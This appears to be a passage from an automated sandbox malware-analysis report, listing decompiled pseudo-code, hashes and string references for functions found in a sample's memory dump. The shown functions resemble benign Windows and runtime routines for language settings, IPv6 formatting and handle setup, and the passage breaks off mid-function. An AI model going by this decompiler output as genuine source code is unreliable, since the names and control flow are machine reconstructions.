Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction ID: 6f78205b53d22ab4e8c81d7e3ead40d6172b524c4c965a7ad5e52c730ffb8076
Opcode Fuzzy Hash: ee2127f5049c20af2db79b3523ae30c516210f3a5483c1737df9ea5d0a06ca55
Instruction Fuzzy Hash: B8B01273104D40C7E3099714DD16F4FB310FB90F02F00893EA00B81850DA38A92CC846

Uniqueness

Uniqueness Score: -1.00%

Function 00861148 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction ID: 165250f8074bc0ef9cdc504fa449021ea13c8322197c03fc884fef66fc1cad38
Opcode Fuzzy Hash: a1a4eb0b16b3dbbf7110758f456c9aa6f179838dd1f90225a28a8369ad29a59d
Instruction Fuzzy Hash: 23B01272140580C7E31D9718D906B5B7610FB80F00F008D3AA04781CA1DBB89A2CE44A

Uniqueness

Uniqueness Score: -1.00%

Function 00888788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00888788(signed int __ecx, void* __edx, signed int _a4) {
				signed int _v8;
				short* _v12;
				void* _v16;
				signed int _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				void* _t216;
				intOrPtr _t231;
				short* _t235;
				intOrPtr _t257;
				short* _t261;
				intOrPtr _t284;
				intOrPtr _t288;
				void* _t314;
				signed int _t318;
				short* _t319;
				intOrPtr _t321;
				void* _t328;
				void* _t329;
				char* _t332;
				signed int _t333;
				signed int* _t334;
				void* _t335;
				void* _t338;
				void* _t339;

				_t328 = __edx;
				_t322 = __ecx;
				_t318 = 0;
				_t334 = _a4;
				_v8 = 0;
				_v28 = 0;
				_v48 = 0;
				_v20 = 0;
				_v40 = 0;
				_v32 = 0;
				_v52 = 0;
				if(_t334 == 0) {
					_t329 = 0xc000000d;
					L49:
					_t334[0x11] = _v56;
					 *_t334 =  *_t334 | 0x00000800;
					_t334[0x12] = _v60;
					_t334[0x13] = _v28;
					_t334[0x17] = _v20;
					_t334[0x16] = _v48;
					_t334[0x18] = _v40;
					_t334[0x14] = _v32;
					_t334[0x15] = _v52;
					return _t329;
				}
				_v56 = 0;
				if(E00888460(__ecx, L"WindowsExcludedProcs",  &_v44,  &_v24,  &_v8) >= 0) {
					_v56 = 1;
					if(_v8 != 0) {
						_t207 = E0086E025(__ecx,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
					}
					_push(1);
					_v8 = _t318;
					E0088718A(_t207);
					_t335 = _t335 + 4;
				}
				_v60 = _v60 | 0xffffffff;
				if(E00888460(_t322, L"Kernel-MUI-Number-Allowed",  &_v44,  &_v24,  &_v8) >= 0) {
					_t333 =  *_v8;
					_v60 = _t333;
					_t314 = E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					_push(_t333);
					_v8 = _t318;
					E0088718A(_t314);
					_t335 = _t335 + 4;
				}
				_t216 = E00888460(_t322, L"Kernel-MUI-Language-Allowed",  &_v44,  &_v24,  &_v8);
				_t332 = ";";
				if(_t216 < 0) {
					L17:
					if(E00888460(_t322, L"Kernel-MUI-Language-Disallowed",  &_v44,  &_v24,  &_v8) < 0) {
						L30:
						if(E00888460(_t322, L"Kernel-MUI-Language-SKU",  &_v44,  &_v24,  &_v8) < 0) {
							L46:
							_t329 = 0;
							L47:
							if(_v8 != _t318) {
								E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
							}
							if(_v28 != _t318) {
								if(_v20 != _t318) {
									E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
									_v20 = _t318;
									_v40 = _t318;
								}
							}
							goto L49;
						}
						_t231 = _v24;
						_t322 = _t231 + 4;
						_push(_t231);
						_v52 = _t322;
						E0088718A(_t231);
						if(_t322 == _t318) {
							_v32 = _t318;
						} else {
							_v32 = E0086E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
						}
						if(_v32 == _t318) {
							_v52 = _t318;
							L58:
							_t329 = 0xc0000017;
							goto L47;
						} else {
							E00862340(_v32, _v8, _v24);
							_v16 = _v32;
							_a4 = _t318;
							_t235 = E0087E679(_v32, _t332);
							while(1) {
								_t319 = _t235;
								if(_t319 == 0) {
									break;
								}
								 *_t319 = 0;
								_t321 = _t319 + 2;
								E0086E2A8(_t322,  &_v68, _v16);
								if(E00885553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
								_v16 = _t321;
								_t235 = E0087E679(_t321, _t332);
								_pop(_t322);
							}
							_t236 = _v16;
							if( *_v16 != _t319) {
								E0086E2A8(_t322,  &_v68, _t236);
								if(E00885553(_t328,  &_v68,  &_v36) != 0) {
									_a4 = _a4 + 1;
								}
							}
							if(_a4 == 0) {
								E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v32);
								_v52 = _v52 & 0x00000000;
								_v32 = _v32 & 0x00000000;
							}
							if(_v8 != 0) {
								E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 0, _v8);
							}
							_v8 = _v8 & 0x00000000;
							_t318 = 0;
							goto L46;
						}
					}
					_t257 = _v24;
					_t322 = _t257 + 4;
					_push(_t257);
					_v40 = _t322;
					E0088718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E0086E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E00862340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E0087E679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E0086E2A8(_v12,  &_v68, _v16);
							if(E00885553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E0087E679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E0086E2A8(_t322,  &_v68, _t269);
							if(E00885553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E0088718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E0086E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E00862340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E0087E679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E0086E2A8(_v12,  &_v68, _v16);
						if(E00885553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E0087E679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E0086E2A8(_t322,  &_v68, _t296);
						if(E00885553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E0086E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x00888788
0x00888788
0x00888791
0x00888794
0x00888798
0x0088879b
0x0088879e
0x008887a1
0x008887a4
0x008887a7
0x008887aa
0x008887af
0x008d1ad3
0x00888b0a
0x00888b0d
0x00888b13
0x00888b19
0x00888b1f
0x00888b25
0x00888b2b
0x00888b31
0x00888b37
0x00888b3d
0x00888b46
0x00888b46
0x008887c6
0x008887d0
0x008d1ae0
0x008d1ae6
0x008d1af8
0x008d1af8
0x008d1afd
0x008d1afe
0x008d1b01
0x008d1b06
0x008d1b06
0x008887d6
0x008887f2
0x008887f7
0x00888807
0x0088880a
0x0088880f
0x00888810
0x00888813
0x00888818
0x00888818
0x0088882c
0x00888831
0x00888838
0x00888908
0x00888920
0x008889f0
0x00888a08
0x00888af6
0x00888af6
0x00888af8
0x00888afb
0x008d1beb
0x008d1beb
0x00888b04
0x008d1bf8
0x008d1c0e
0x008d1c13
0x008d1c16
0x008d1c16
0x008d1bf8
0x00000000
0x00888b04
0x00888a0e
0x00888a11
0x00888a14
0x00888a15
0x00888a18
0x00888a22
0x00888b59
0x00888a28
0x00888a3c
0x00888a3c
0x00888a42
0x008d1bb0
0x008d1b11
0x008d1b11
0x00000000
0x00888a48
0x00888a51
0x00888a5b
0x00888a5e
0x00888a61
0x00888a69
0x00888a69
0x00888a6d
0x00000000
0x00000000
0x00888a74
0x00888a7c
0x00888a7d
0x00888a91
0x00888a93
0x00888a93
0x00888a98
0x00888a9b
0x00888aa1
0x00888aa1
0x00888aa4
0x00888aaa
0x00888ab1
0x00888ac5
0x00888ac7
0x00888ac7
0x00888ac5
0x00888ace
0x008d1bc9
0x008d1bce
0x008d1bd2
0x008d1bd2
0x00888ad8
0x00888aeb
0x00888aeb
0x00888af0
0x00888af4
0x00000000
0x00888af4
0x00888a42
0x00888926
0x00888929
0x0088892c
0x0088892d
0x00888930
0x00888935
0x0088893a
0x00888b51
0x00888940
0x00888954
0x00888954
0x0088895a
0x008d1b63
0x00000000
0x00888960
0x00888969
0x00888973
0x00888976
0x00888979
0x0088897e
0x00888981
0x00888981
0x00888986
0x00000000
0x00000000
0x008d1b6e
0x008d1b74
0x008d1b7b
0x008d1b8f
0x008d1b91
0x008d1b91
0x008d1b99
0x008d1b9c
0x008d1ba2
0x008d1ba2
0x0088898c
0x00888992
0x00888999
0x008889ad
0x008d1ba8
0x008d1ba8
0x008889ad
0x008889b6
0x008889c8
0x008889cd
0x008889d0
0x008889d0
0x008889d6
0x008889e8
0x008889e8
0x008889ed
0x00000000
0x008889ed
0x0088895a
0x0088883e
0x00888841
0x00888844
0x00888845
0x00888848
0x0088884d
0x00888852
0x00888b49
0x00888858
0x0088886c
0x0088886c
0x00888872
0x008d1b0e
0x00000000
0x00888878
0x00888881
0x0088888b
0x0088888e
0x00888891
0x00888896
0x00888899
0x00888899
0x0088889e
0x00000000
0x00000000
0x008d1b21
0x008d1b27
0x008d1b2e
0x008d1b42
0x008d1b44
0x008d1b44
0x008d1b4c
0x008d1b4f
0x008d1b55
0x008d1b55
0x008888a4
0x008888aa
0x008888b1
0x008888c5
0x008d1b5b
0x008d1b5b
0x008888c5
0x008888ce
0x008888e0
0x008888e5
0x008888e8
0x008888e8
0x008888ee
0x00888900
0x00888900
0x00888905
0x00000000
0x00888905

APIs

_wcspbrk.LIBCMT ref: 00888891
_wcspbrk.LIBCMT ref: 00888979
_wcspbrk.LIBCMT ref: 00888A61
_wcspbrk.LIBCMT ref: 00888A9B
_wcspbrk.LIBCMT ref: 008D1B9C

Strings

Kernel-MUI-Language-Allowed, xrefs: 00888827
Kernel-MUI-Number-Allowed, xrefs: 008887E6
Kernel-MUI-Language-SKU, xrefs: 008889FC
WindowsExcludedProcs, xrefs: 008887C1
Kernel-MUI-Language-Disallowed, xrefs: 00888914

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 4edefa3331bccce3174db55b66fdb60262bb28b6008e48f1faa7591f49128b23
Instruction ID: 70d85cbc0ef58c11514611eed98c6548fc392ea83c2fb1751cabb40f5db0d175
Opcode Fuzzy Hash: 4edefa3331bccce3174db55b66fdb60262bb28b6008e48f1faa7591f49128b23
Instruction Fuzzy Hash: C4F107B6D00209EFCF11EF98C9859EEBBB8FF08304F55446AE505E7211EB349A45DB62

Uniqueness

Uniqueness Score: -1.00%

Function 008A13CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E008A13CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E00897707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0x862926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E00897707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0x869cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E00897707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E00897707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E00897707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E00897707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x008a13d5
0x008a13d9
0x008a13dc
0x008a13de
0x008a13e1
0x008a13e8
0x008a13ee
0x008ce8fd
0x00000000
0x008ce921
0x008ce921
0x008ce928
0x008ce982
0x008ce98a
0x00000000
0x008ce99a
0x008ce99e
0x008ce9a3
0x008ce9a8
0x008ce9b9
0x008ce978
0x00000000
0x008ce978
0x008ce98a
0x008ce92a
0x008ce931
0x008ce944
0x008ce944
0x008ce950
0x008ce954
0x008ce959
0x008ce95e
0x008ce963
0x008ce970
0x00000000
0x008ce975
0x008ce93b
0x008ce980
0x00000000
0x008ce980
0x008ce942
0x008ce94b
0x00000000
0x008ce94b
0x00000000
0x008ce942
0x008a13f4
0x008a13f4
0x008a13f9
0x008a13fc
0x008a13ff
0x008a1406
0x008ce9cc
0x008ce9d2
0x008ce9d2
0x008ce9cc
0x008a140c
0x008a1411
0x008a1431
0x008a143a
0x008a143c
0x008a143f
0x008a143f
0x008a1442
0x008a1447
0x008a14a8
0x008a14ac
0x008ce9e2
0x008ce9e7
0x008ce9ec
0x008cea05
0x008cea05
0x00000000
0x008a1449
0x00000000
0x008a1449
0x008a144c
0x008a1459
0x008a1462
0x008a1469
0x008a146a
0x008a1470
0x008a1473
0x008a1476
0x008a1476
0x008a1490
0x008a1495
0x008a138e
0x008a1390
0x008a1397
0x008a1398
0x008a1399
0x008a13a1
0x008a13a4
0x008a13a4
0x008a1498
0x008a149c
0x008a149f
0x008a14a2
0x00000000
0x00000000
0x008a14a4
0x00000000
0x008a14a4
0x008a1413
0x008a1415
0x008a1416
0x008a1419
0x008a141c
0x008a1422
0x008a13b7
0x008a13bc
0x008a13bf
0x008a13bf
0x008a13c2
0x008a1424
0x008a1424
0x008a1424
0x008a1427
0x008a142b
0x008a142c
0x008a142c
0x008a142c
0x00000000
0x008a141c
0x008a1411

APIs

___swprintf_l.LIBCMT ref: 008A146B
___swprintf_l.LIBCMT ref: 008A1490
___swprintf_l.LIBCMT ref: 008CE970

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 008CE9B0
:%u.%u.%u.%u, xrefs: 008CE9F4
::%hs%u.%u.%u.%u, xrefs: 008CE967
ffff:, xrefs: 008CE94B

Memory Dump Source

Source File: 00000006.00000002.1032385673.0000000000850000.00000040.00000800.00020000.00000000.sdmp, Offset: 00840000, based on PE: true

Associated: 00000006.00000002.1032375149.0000000000840000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032524521.0000000000930000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032531456.0000000000940000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032540140.0000000000944000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032546490.0000000000947000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032556961.0000000000950000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1032605363.00000000009B0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_840000_yldnat.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 63d466d6b2867ee6a37c342849f389f37aebfac8de9b743c3109e2ce88eb23b4
Instruction ID: 90fe10c7d3d4450449a81cc4e7d0318fe880d573ab505f3de22f70b93a69ba56
Opcode Fuzzy Hash: 63d466d6b2867ee6a37c342849f389f37aebfac8de9b743c3109e2ce88eb23b4
Instruction Fuzzy Hash: 59613671914655BADF24DF9DC8848BEBBB6FF99300B18C02DE4D6C7A40D278AA40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013B38A8 Relevance: 12.2, APIs: 8, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E013B38A8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t82;
				signed int _t86;
				long _t90;
				void* _t91;
				intOrPtr _t94;
				signed int _t98;
				signed int _t99;
				signed char _t103;
				void** _t105;
				void** _t106;
				void** _t109;
				signed char _t111;
				long _t119;
				void* _t129;
				signed int* _t133;
				void* _t135;
				signed int* _t138;
				void** _t139;
				void* _t141;
				signed int _t142;
				signed int _t143;
				void** _t147;
				signed int _t149;
				void* _t150;
				void** _t154;
				void* _t155;
				void* _t156;

				_push(0x64);
				_push(0x13c2260);
				E013B2400(__ebx, __edi, __esi);
				E013B442F(0xb);
				 *(_t155 - 4) = 0;
				_push(0x40);
				_t141 = 0x20;
				_push(_t141);
				_t82 = E013B4869();
				_t133 = _t82;
				 *(_t155 - 0x24) = _t133;
				if(_t133 != 0) {
					 *0x13c4848 = _t82;
					 *0x13c50e4 = _t141;
					while(_t133 <  &(_t82[0x200])) {
						_t133[1] = 0xa00;
						 *_t133 =  *_t133 | 0xffffffff;
						_t133[2] = 0;
						_t133[9] = _t133[9] & 0x00000080;
						_t133[9] = _t133[9] & 0x0000007f;
						_t133[9] = 0xa0a;
						_t133[0xe] = 0;
						_t133[0xd] = 0;
						_t133 =  &(_t133[0x10]);
						 *(_t155 - 0x24) = _t133;
						_t82 =  *0x13c4848; // 0x0
					}
					GetStartupInfoW(_t155 - 0x74);
					if( *((short*)(_t155 - 0x42)) == 0) {
						L27:
						_t129 = 0xfffffffe;
						L28:
						_t142 = 0;
						while(1) {
							 *(_t155 - 0x2c) = _t142;
							if(_t142 >= 3) {
								break;
							}
							_t147 =  *0x13c4848 + (_t142 << 6);
							 *(_t155 - 0x24) = _t147;
							if( *_t147 == 0xffffffff ||  *_t147 == _t129) {
								_t147[1] = 0x81;
								if(_t142 != 0) {
									_t65 = _t142 - 1; // -1
									asm("sbb eax, eax");
									_t90 =  ~_t65 + 0xfffffff5;
								} else {
									_t90 = 0xfffffff6;
								}
								_t91 = GetStdHandle(_t90);
								 *(_t155 - 0x1c) = _t91;
								if(_t91 == 0xffffffff || _t91 == 0) {
									L45:
									_t147[1] = _t147[1] | 0x00000040;
									 *_t147 = _t129;
									_t94 =  *0x13c6100;
									if(_t94 != 0) {
										 *( *((intOrPtr*)(_t94 + _t142 * 4)) + 0x10) = _t129;
									}
									goto L47;
								} else {
									_t98 = GetFileType(_t91);
									if(_t98 == 0) {
										goto L45;
									}
									 *_t147 =  *(_t155 - 0x1c);
									_t99 = _t98 & 0x000000ff;
									if(_t99 != 2) {
										if(_t99 != 3) {
											L44:
											_t71 =  &(_t147[3]); // -20727868
											E013B40A2(_t71, 0xfa0, 0);
											_t156 = _t156 + 0xc;
											_t147[2] = _t147[2] + 1;
											goto L47;
										}
										_t103 = _t147[1] | 0x00000008;
										L43:
										_t147[1] = _t103;
										goto L44;
									}
									_t103 = _t147[1] | 0x00000040;
									goto L43;
								}
							} else {
								_t147[1] = _t147[1] | 0x00000080;
								L47:
								_t142 = _t142 + 1;
								continue;
							}
						}
						 *(_t155 - 4) = _t129;
						E013B3B53();
						_t86 = 0;
						L49:
						return E013B2445(_t86);
					}
					_t105 =  *(_t155 - 0x40);
					if(_t105 == 0) {
						goto L27;
					}
					_t135 =  *_t105;
					 *(_t155 - 0x1c) = _t135;
					_t106 =  &(_t105[1]);
					 *(_t155 - 0x28) = _t106;
					 *(_t155 - 0x20) = _t106 + _t135;
					if(_t135 >= 0x800) {
						_t135 = 0x800;
						 *(_t155 - 0x1c) = 0x800;
					}
					_t149 = 1;
					 *(_t155 - 0x30) = 1;
					while( *0x13c50e4 < _t135) {
						_t138 = E013B4869(_t141, 0x40);
						 *(_t155 - 0x24) = _t138;
						if(_t138 != 0) {
							0x13c4848[_t149] = _t138;
							 *0x13c50e4 =  *0x13c50e4 + _t141;
							while(_t138 <  &(0x13c4848[_t149][0x200])) {
								_t138[1] = 0xa00;
								 *_t138 =  *_t138 | 0xffffffff;
								_t138[2] = 0;
								_t138[9] = _t138[9] & 0x00000080;
								_t138[9] = 0xa0a;
								_t138[0xe] = 0;
								_t138[0xd] = 0;
								_t138 =  &(_t138[0x10]);
								 *(_t155 - 0x24) = _t138;
							}
							_t149 = _t149 + 1;
							 *(_t155 - 0x30) = _t149;
							_t135 =  *(_t155 - 0x1c);
							continue;
						}
						_t135 =  *0x13c50e4;
						 *(_t155 - 0x1c) = _t135;
						break;
					}
					_t143 = 0;
					 *(_t155 - 0x2c) = 0;
					_t129 = 0xfffffffe;
					_t109 =  *(_t155 - 0x28);
					_t139 =  *(_t155 - 0x20);
					while(_t143 < _t135) {
						_t150 =  *_t139;
						if(_t150 == 0xffffffff || _t150 == _t129) {
							L22:
							_t143 = _t143 + 1;
							 *(_t155 - 0x2c) = _t143;
							_t109 =  &(( *(_t155 - 0x28))[0]);
							 *(_t155 - 0x28) = _t109;
							_t139 =  &(_t139[1]);
							 *(_t155 - 0x20) = _t139;
							continue;
						} else {
							_t111 =  *_t109;
							if((_t111 & 0x00000001) == 0) {
								goto L22;
							}
							if((_t111 & 0x00000008) != 0) {
								L20:
								_t154 = 0x13c4848[_t143 >> 5] + ((_t143 & 0x0000001f) << 6);
								 *(_t155 - 0x24) = _t154;
								 *_t154 =  *_t139;
								_t154[1] =  *( *(_t155 - 0x28));
								_t37 =  &(_t154[3]); // 0xd
								E013B40A2(_t37, 0xfa0, 0);
								_t156 = _t156 + 0xc;
								_t154[2] = _t154[2] + 1;
								_t139 =  *(_t155 - 0x20);
								L21:
								_t135 =  *(_t155 - 0x1c);
								goto L22;
							}
							_t119 = GetFileType(_t150);
							_t139 =  *(_t155 - 0x20);
